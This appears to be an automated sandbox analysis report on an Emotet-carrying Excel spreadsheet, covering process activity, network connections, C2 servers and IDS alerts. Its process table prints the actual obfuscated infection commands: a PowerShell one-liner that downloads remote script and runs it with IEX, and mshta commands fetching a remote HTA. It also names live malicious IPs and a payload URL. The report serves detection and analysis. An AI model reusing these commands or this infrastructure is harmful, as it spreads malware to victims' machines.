| File name: | ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls |
| Full analysis: | https://app.any.run/tasks/e5694e14-2244-433b-8b3f-a5278bdc19a8 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 24, 2022, 18:35:10 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 20 19:00:43 2022, Last Saved Time/Date: Thu Jan 20 19:07:37 2022, Security: 0 |
| MD5: | 3F7F1F6050609317474B8F48EFA00E88 |
| SHA1: | C95BFBC3794A4371D3B5A6702052D662DEE19A15 |
| SHA256: | ADE5C2C45C5BBAE939364326AE43A74C8B0C93307B7C653B12B80CBE8E891B70 |
| SSDEEP: | 1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr |
MALICIOUS
Starts CMD.EXE for commands execution
- EXCEL.EXE (PID: 2760)
- EXCEL.EXE (PID: 2160)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2760)
- EXCEL.EXE (PID: 2160)
Executes PowerShell scripts
- mshta.exe (PID: 2112)
- mshta.exe (PID: 2756)
Loads dropped or rewritten executable
- rundll32.exe (PID: 2796)
- SearchProtocolHost.exe (PID: 3624)
- rundll32.exe (PID: 4000)
- rundll32.exe (PID: 3992)
- rundll32.exe (PID: 3484)
Connects to CnC server
- rundll32.exe (PID: 3484)
SUSPICIOUS
Reads default file associations for system extensions
- SearchProtocolHost.exe (PID: 3624)
- EXCEL.EXE (PID: 2760)
- EXCEL.EXE (PID: 2160)
Checks supported languages
- cmd.exe (PID: 4004)
- mshta.exe (PID: 2112)
- powershell.exe (PID: 3568)
- mshta.exe (PID: 2756)
- cmd.exe (PID: 2836)
- powershell.exe (PID: 472)
- cmd.exe (PID: 188)
- cmd.exe (PID: 3972)
Starts MSHTA.EXE for opening HTA or HTMLS files
- cmd.exe (PID: 4004)
- cmd.exe (PID: 2836)
Reads the computer name
- mshta.exe (PID: 2112)
- powershell.exe (PID: 3568)
- mshta.exe (PID: 2756)
- powershell.exe (PID: 472)
Reads Microsoft Outlook installation path
- mshta.exe (PID: 2112)
- mshta.exe (PID: 2756)
Reads Environment values
- powershell.exe (PID: 3568)
- powershell.exe (PID: 472)
Executable content was dropped or overwritten
- powershell.exe (PID: 3568)
- rundll32.exe (PID: 2796)
Drops a file with a compile date too recent
- powershell.exe (PID: 3568)
- rundll32.exe (PID: 2796)
Starts itself from another location
- rundll32.exe (PID: 4000)
Uses RUNDLL32.EXE to load library
- rundll32.exe (PID: 4000)
- cmd.exe (PID: 188)
- rundll32.exe (PID: 3992)
- rundll32.exe (PID: 2796)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 3568)
Application launched itself
- rundll32.exe (PID: 3992)
- rundll32.exe (PID: 2796)
Starts Microsoft Office Application
- EXCEL.EXE (PID: 2160)
INFO
Reads the computer name
- EXCEL.EXE (PID: 2760)
- EXCEL.EXE (PID: 2160)
- rundll32.exe (PID: 2796)
- CLVIEW.EXE (PID: 2032)
- rundll32.exe (PID: 3484)
Checks supported languages
- EXCEL.EXE (PID: 2760)
- EXCEL.EXE (PID: 2160)
- rundll32.exe (PID: 4000)
- rundll32.exe (PID: 2796)
- rundll32.exe (PID: 3484)
- CLVIEW.EXE (PID: 2032)
- rundll32.exe (PID: 3992)
- fc.exe (PID: 2264)
Creates files in the user directory
- EXCEL.EXE (PID: 2760)
- EXCEL.EXE (PID: 2160)
Reads internet explorer settings
- mshta.exe (PID: 2112)
- mshta.exe (PID: 2756)
- CLVIEW.EXE (PID: 2032)
Checks Windows Trust Settings
- powershell.exe (PID: 3568)
- powershell.exe (PID: 472)
- rundll32.exe (PID: 3484)
Manual execution by user
- EXCEL.EXE (PID: 2160)
- cmd.exe (PID: 3972)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2760)
- EXCEL.EXE (PID: 2160)
- CLVIEW.EXE (PID: 2032)
Reads Microsoft Outlook installation path
- CLVIEW.EXE (PID: 2032)
Reads settings of System Certificates
- rundll32.exe (PID: 3484)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (78.9) |
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EXIF
FlashPix
| HeadingPairs: |
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| TitleOfParts: |
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| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| Company: | - |
| CodePage: | Windows Cyrillic |
| Security: | None |
| ModifyDate: | 2022:01:20 19:07:37 |
| CreateDate: | 2022:01:20 19:00:43 |
| Software: | Microsoft Excel |
| LastModifiedBy: | xXx |
| Author: | xXx |
Total processes
60
Monitored processes
17
Malicious processes
7
Suspicious processes
4
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 188 | "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString | C:\Windows\system32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 472 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
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| 2032 | "C:\Program Files\Microsoft Office\Office14\CLVIEW.EXE" "EXCEL" "Microsoft Excel" | C:\Program Files\Microsoft Office\Office14\CLVIEW.EXE | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Office Help Viewer Exit code: 0 Version: 14.0.6015.1000 Modules
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| 2112 | mshta http://0xb907d607/fer/fe2.html | C:\Windows\system32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
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| 2160 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
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| 2264 | fc "ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70 - Copy.xls" ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls | C:\Windows\system32\fc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: DOS 5 File Compare Utility Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2756 | mshta http://0xb907d607/fer/fe2.html | C:\Windows\system32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
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| 2760 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
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| 2796 | C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2836 | cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html | C:\Windows\system32\cmd.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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Total events
12 532
Read events
12 178
Write events
302
Delete events
52
Modification events
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | wo5 |
Value: 776F3500C80A0000010000000000000000000000 | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2760) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
120
Text files
76
Unknown types
9
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2760 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR2FC7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2160 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR4CF4.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2760 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF35594201F23110FA.TMP | atn | |
MD5:— | SHA256:— | |||
| 2760 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | ini | |
MD5:— | SHA256:— | |||
| 2760 | EXCEL.EXE | C:\Users\admin\Desktop\ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls | document | |
MD5:— | SHA256:— | |||
| 2112 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\fe2[1].htm | binary | |
MD5:— | SHA256:— | |||
| 2760 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2160 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70 - Copy.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2756 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\fe2[1].htm | binary | |
MD5:— | SHA256:— | |||
| 2796 | rundll32.exe | C:\Users\admin\AppData\Local\Eldrfmxk\yxbimro.qli | executable | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
7
TCP/UDP connections
15
DNS requests
2
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2112 | mshta.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.html | FR | binary | 10.8 Kb | malicious |
3484 | rundll32.exe | GET | 200 | 23.32.238.178:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?1c5128f6c0972824 | US | compressed | 59.9 Kb | whitelisted |
2756 | mshta.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.html | FR | binary | 10.8 Kb | malicious |
3568 | powershell.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.png | FR | text | 1011 b | malicious |
472 | powershell.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.png | FR | text | 1011 b | malicious |
3484 | rundll32.exe | GET | 200 | 23.32.238.178:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?42eef2dbfbfa4388 | US | compressed | 4.70 Kb | whitelisted |
3568 | powershell.exe | GET | 200 | 104.21.82.47:80 | http://hindimedia.in/wp-content/uploads/iXntuGFqLE31oHsTk/ | US | executable | 612 Kb | suspicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2112 | mshta.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
3568 | powershell.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
2756 | mshta.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
— | — | 104.21.82.47:80 | hindimedia.in | Cloudflare Inc | US | suspicious |
472 | powershell.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
472 | powershell.exe | 104.21.82.47:80 | hindimedia.in | Cloudflare Inc | US | suspicious |
3484 | rundll32.exe | 131.100.24.231:80 | — | GOPLEX TELECOMUNICACOES E INTERNET LTDA - ME | BR | malicious |
3484 | rundll32.exe | 23.32.238.178:80 | ctldl.windowsupdate.com | XO Communications | US | suspicious |
— | — | 172.67.153.105:80 | hindimedia.in | — | US | suspicious |
3484 | rundll32.exe | 209.59.138.75:7080 | — | Liquid Web, L.L.C | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
hindimedia.in |
| suspicious |
ctldl.windowsupdate.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3568 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3568 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3568 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3484 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 5 |
3484 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 14 |
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